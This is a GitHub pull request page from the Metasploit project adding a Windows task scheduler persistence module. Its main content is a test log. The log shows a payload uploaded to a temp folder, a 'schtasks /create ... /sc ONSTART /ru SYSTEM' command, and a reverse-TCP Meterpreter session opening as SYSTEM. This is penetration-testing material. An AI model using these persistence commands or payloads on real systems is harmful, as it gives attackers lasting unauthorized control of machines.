-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Windows task scheduler persistence #20660
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
msutovsky-r7
merged 7 commits into
rapid7:master
from
h00die:windows_taskscheduler_persistence
Oct 31, 2025
Merged
Windows task scheduler persistence #20660
msutovsky-r7
merged 7 commits into
rapid7:master
from
h00die:windows_taskscheduler_persistence
Oct 31, 2025
+254
−1
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
msf exploit(windows/persistence/task_scheduler) > run verbose=true
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.3.7:4545
msf exploit(windows/persistence/task_scheduler) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Likely exploitable
[*] Payload (7168 bytes) uploaded on WIN10_1809_491E to C:\Users\ADMINI~1\AppData\Local\Temp\bTMpba.exe
[*] Creating task: RmHJpXd
[*] [Task Scheduler] executing command: schtasks /create /tn "RmHJpXd" /tr "C:\Users\ADMINI~1\AppData\Local\Temp\bTMpba.exe" /sc ONSTART /ru SYSTEM /f
[*] Starting task: RmHJpXd
[*] [Task Scheduler] executing command: schtasks /run /tn RmHJpXd
WARNING: Local file /home/ms/git/metasploit-framework/data/meterpreter/metsrv.x86.dll is being used
[*] Sending stage (498061 bytes) to 10.5.134.151
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/WIN10_1809_491E_20251027.1023/WIN10_1809_491E_20251027.1023.rc
WARNING: Local file /home/ms/git/metasploit-framework/data/meterpreter/ext_server_stdapi.x86.dll is being used
[*] Meterpreter session 5 opened (192.168.3.7:4545 -> 10.5.134.151:50133) at 2025-10-27 12:10:32 +0100
msf exploit(windows/persistence/task_scheduler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN10_1809_491 192.168.3.7:4242 -> 10.5.134.151:5010
E 9 (10.5.134.151)
5 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN10_1809_491 192.168.3.7:4545 -> 10.5.134.151:5013
E 3 (10.5.134.151)
msf exploit(windows/persistence/task_scheduler) > sessions 5
[*] Starting interaction with 5...
meterpreter > sysinfo
Computer : WIN10_1809_491E
OS : Windows 10 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Co-authored-by: msutovsky-r7 <[email protected]>
…e' into windows_taskscheduler_persistence
Co-authored-by: msutovsky-r7 <[email protected]>
…e' into windows_taskscheduler_persistence
msutovsky-r7
approved these changes
Oct 29, 2025
Release NotesThis adds new persistence module for Windows - the task scheduler module. The module will create scheduled task depending on |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Labels
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Creates a windows task scheduler persistence. Part of #20374
Verification
msfconsoleuse exploit/windows/persistence/task_schedulerset SESSION <id>exploit